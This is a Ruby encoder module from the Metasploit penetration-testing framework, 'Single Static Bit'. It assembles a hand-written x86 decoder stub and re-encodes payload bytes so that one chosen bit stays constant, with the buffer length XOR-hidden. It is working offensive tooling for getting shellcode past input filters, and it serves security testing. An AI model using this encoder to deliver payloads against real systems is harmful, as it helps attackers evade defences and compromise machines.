modules/encoders/x86/single_static_bit.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# NOTE: this encoder currently has only be tested using bit 5 set to on.
#
# The decoder has been tested with all possible values, but the decoder stub
# is was not designed to bypass restrictions other than "bit 5 must be on"..
#
class MetasploitModule < Msf::Encoder
# This encoder has a manual ranking because it should only be used in cases
# where information has been explicitly supplied, specifically
# BitNumber and BitValue.
Rank = ManualRanking
def initialize
super(
'Name' => 'Single Static Bit',
'Description' => 'Static value for specific bit',
'Author' => 'jduck',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'EncoderType' => Msf::Encoder::Type::SingleStaticBit
)
# this shouldn't be present in the decoder stub.
@key_marker = 0x1010
end
#
# Returns the decoder stub that is adjusted for the size of
# the buffer being encoded
#
def decoder_stub(state)
bit_num = (datastore['BitNumber'] || 5).to_i
bit_val = (datastore['BitValue'] || true)
# variables:
# bit to ignore (global - hardcoded)
# buf len (can be deduced with a jmp/call/pop) (global - ebx)
# current source byte ptr (global - esi)
# current dest byte ptr (global - edi) ?
# current dest byte (global - ah) ?
# number of bits accumulated (global - ebp) ?
# current source byte (outer - al)
# bit index (for this byte) (inner - cl) ?
pre_init = ""
pre_init << "\x31\xed" # xor ebp, ebp - no bits accumulated
pre_init << "\x83\xe1\x01" # and ecx, $0x1 - init inner loop counter (set to 0/1)
pre_init << "\x83\xe3\x01" # and ebx, $0x1 - init buffer length
pre_init << "\x66\xbb" + [@key_marker].pack('v') # - load encrypted buffer length
pre_init << "\x66\x81\xf3" + [@key_marker].pack('v') # - xor decrypt buffer length
# we stored an entire byte, move to the next one
next_byte = ""
next_byte << "\x83\xef\xff" # sub edi, 0xffffffff - increment dst pointer
next_byte << "\x31\xed" # xor ebp, ebp - no bits accumulated
# inside the loop, we need to extract a bit, as
# specified by:
#
# ecx-1 - bit number to extract
# al - byte to extract it from
get_a_bit = ""
get_a_bit << "\x60" # pusha - save all registers
get_a_bit << "\x83\xe9\x01" # sub ecx, 1 - account for 1-based counting
get_a_bit << "\x74\x06" # jz +6 - skip dividing if bit zero
get_a_bit << "\xb3\x02" # mov bl, 2 - set divisor to 2
# divide_it:
get_a_bit << "\xf6\xf3" # div bl - do the division
get_a_bit << "\xe2" + [-1 * (2+2)].pack('C') # - divide again..
# store_bit:
get_a_bit << "\x83\xe0\x01" # and eax, 0x01 - we only want the lowest bit
get_a_bit << "\x6b\x2f\x02" # imul ebp, 2, [edi] - load [edi], shifted left by 1, to ebp
get_a_bit << "\x09\xe8" # or ebp, eax - set bit 0
get_a_bit << "\xaa" # stosb al, [edi] - store byte back
get_a_bit << "\x61" # popa - restore previous ebx/eax
get_a_bit << "\x83\xed\xff" # sub ebp, 0xffffffff - increment bits stored
inner_init = ""
inner_init << "\xb1\x08" # mov cl, $0x8 - init loop counter
inner_loop = ""
# process_bits:
inner_loop << "\x80\xf9" # cmp cl, <ignore_bit + 1> - is this the one to ignore?
inner_loop << [(bit_num+1)].pack('C')
len = get_a_bit.length + 3 + 2 + next_byte.length
inner_loop << "\x74" + [len].pack('C') # - je next_bit
inner_loop << get_a_bit
inner_loop << "\x83\xfd\x08" # cmp ebp, $0x8 - got 8 bits now?
inner_loop << "\x75" + [next_byte.length].pack('C') # - jne to next_bit
# next_dst_byte:
inner_loop << next_byte
# next_bit:
# I really wish this silly padding wasn't necessary, however removing the bad characters in the
# jump/call displacements has proven difficult otherwise.
inner_loop << "\x90" * 0x1a # nops - for padding (so relative jumps don't have badchars)
len = -1 * (inner_loop.length+2)
inner_loop << "\xe2" + [len].pack('C') # - loop process_bits
# prefixed by: # jmp data_beg_call
outer_init = ""
# get_data_beg:
outer_init << "\x5e" # pop esi - ptr to beginning of data
outer_init << pre_init
outer_init << "\x89\xf7" # mov edi, esi - decode in place, init dst ptr
outer_loop = ""
#outer_loop << "\x90" * (0xd+6)
outer_loop << "\x83\xe0\x7f" # and eax, 0x7f - we only want the low byte
outer_loop << "\xac" # lods al, [esi] - load src byte
outer_loop << inner_init << inner_loop
outer_loop << "\x83\xeb\x01" # sub ebx, 1 - 1 byte down!
outer_loop << "\x74\x07" # jz +(2+5) - jump to data!
len = -1 * (outer_loop.length+2)
# next_byte:
outer_loop << "\xeb" + [len].pack('C') # - jmp process_byte
# data_beg_call:
decoder = outer_init + outer_loop
jmp = "\xeb" + [decoder.length].pack('C')
call = "\xe8" + [-1 * (decoder.length+5)].pack('V')
decoder = jmp + decoder + call
# encoded sled
state.context = ''
return decoder
end
def encode_block(state, block)
bit_num = (datastore['BitNumber'] || 5).to_i
bit_num = (7-bit_num)
bit_val = (datastore['BitValue'] || true)
encoded = ''
new_byte = 0
nbits = 0
block.unpack('C*').each do |ch|
7.step(0,-1) do |x|
# is this the special bit?
if (nbits == bit_num)
new_byte <<= 1 if nbits > 0
new_byte |= 1 if bit_val
nbits += 1
# do we have a full byte?
if nbits == 8
encoded << new_byte.chr
new_byte = 0
nbits = 0
end
end
# we have space, add it in
new_byte <<= 1 if nbits > 0
new_byte += 1 if (((ch >> x) & 1) > 0)
nbits += 1
# do we have a full byte?
if nbits == 8
encoded << new_byte.chr
new_byte = 0
nbits = 0
end
end
end
# if we have bits left, pad out to a whole byte
if nbits > 0
while nbits < 8
new_byte <<= 1
new_byte |= 1 if (nbits == bit_num) and bit_val
nbits += 1
end
encoded << new_byte.chr
end
return encoded
end
#
# Appends the encoded context portion.
#
def encode_end(state)
state.encoded += state.context
xor_key = 0
xor_key_str = ''
enc_len_str = ''
loop do
xor_key = rand(0x10000)
xor_key_str = [xor_key].pack('v')
enc_len_str = [state.encoded.length ^ xor_key].pack('v')
next if has_badchars?(xor_key_str, state.badchars)
next if has_badchars?(enc_len_str, state.badchars)
break
end
marker_str = [@key_marker].pack('v')
state.encoded.sub!(marker_str, enc_len_str)
state.encoded.sub!(marker_str, xor_key_str)
end
end